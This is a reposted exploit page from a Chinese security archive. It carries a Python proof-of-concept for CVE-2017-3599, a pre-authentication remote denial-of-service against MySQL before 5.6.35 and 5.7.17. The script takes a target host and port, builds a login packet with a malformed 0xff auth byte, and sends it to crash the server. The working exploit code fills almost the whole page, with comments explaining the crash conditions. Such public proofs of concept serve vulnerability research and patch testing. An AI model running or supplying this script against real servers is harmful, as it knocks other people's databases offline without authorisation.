首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
MySQL < 5.6.35 / < 5.7.17 - Integer Overflow
来源:https://www.secforce.com/blog 作者:Marcos 发布时间:2017-05-05  
'''
# Source: https://raw.githubusercontent.com/SECFORCE/CVE-2017-3599/master/cve-2017-3599_poc.py
# Exploit Title: Remote MySQL DOS (Integer Overflow)
# Google Dork: N/A
# Date: 13th April 2017
# Exploit Author: Rodrigo Marcos
# Vendor Homepage: https://www.mysql.com/
# Software Link: https://www.mysql.com/downloads/
# Version: 5.6.35 and below / 5.7.17 and below
# Tested on: N/A
# CVE : CVE-2017-3599
'''
 
import socket
import sys
from struct import pack
 
'''
CVE-2017-3599 Proof of Concept exploit code.
 
https://www.secforce.com/blog/2017/04/cve-2017-3599-pre-auth-mysql-remote-dos/
 
Rodrigo Marcos
 
'''
 
if len(sys.argv)<2:
 
    print "Usage: python " + sys.argv[0] + " host [port]"
    exit(0)
 
else:
    HOST = sys.argv[1]
 
    if len(sys.argv)>2:
        PORT = int(sys.argv[2]) # Yes, no error checking... living on the wild side!
    else:
        PORT = 3306
 
print "[+] Creating packet..."
 
'''
3 bytes     Packet lenth
1 bytes     Packet number
 
Login request:
 
Packet format (when the server is 4.1 or newer):
 
Bytes       Content
-----       ----
4           client capabilities
4           max packet size
1           charset number
23          reserved (always 0)
n           user name, \0-terminated
n           plugin auth data (e.g. scramble), length encoded
n           database name, \0-terminated
            (if CLIENT_CONNECT_WITH_DB is set in the capabilities)
n           client auth plugin name - \0-terminated string,
            (if CLIENT_PLUGIN_AUTH is set in the capabilities)
 
'''
 
# packet_len = '\x64\x00\x00'
 
packet_num = '\x01'
 
#Login request packet
packet_cap = '\x85\xa2\xbf\x01'     # client capabilities (default)
packet_max = '\x00\x00\x00\x01'     # max packet size (default)
packet_cset = '\x21'                # charset (default)
p_reserved = '\x00' * 23            # 23 bytes reserved with nulls (default)
packet_usr =  'test\x00'            # username null terminated (default)
 
packet_auth  = '\xff'           # both \xff and \xfe crash the server
 
'''
Conditions to crash:
 
1 - packet_auth must start with \xff or \xfe
2 - packet_auth must be shorter than 8 chars
 
The expected value is the password, which could be of two different formats
(null terminated or length encoded) depending on the client functionality.
'''
 
packet = packet_cap + packet_max + packet_cset + p_reserved + packet_usr + packet_auth
packet_len = pack('i',len(packet))[:3]
 
request = packet_len + packet_num + packet
 
print "[+] Connecting to host..."
try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((HOST, PORT))
    print "[+] Connected."
 
except:
    print "[+] Unable to connect to host " + HOST + " on port " + str(PORT) + "." 
    s.close()
    print "[+] Exiting."
    exit(0)
 
print "[+] Receiving greeting from remote host..."
data = s.recv(1024)
print "[+] Done."
 
print "[+] Sending our payload..."
s.send(request)
print "[+] Done."
#print "Our data: %r" % request
 
s.close()
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Alerton Webtalk 2.5 / 3.3 - Mu
·Ghostscript 9.21 - Type Confus
·IrfanView 4.44 - Denial of Ser
·Microsoft Internet Explorer 11
·Panda Free Antivirus - 'PSKMAD
·Serviio PRO 1.8 DLNA Media Str
·Microsoft Internet Explorer 11
·Serviio PRO 1.8 DLNA Media Str
·Simple File Uploader - Arbitra
·Serviio PRO 1.8 DLNA Media Str
·TYPO3 News Module - SQL Inject
·WordPress 4.6 - Unauthenticate
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved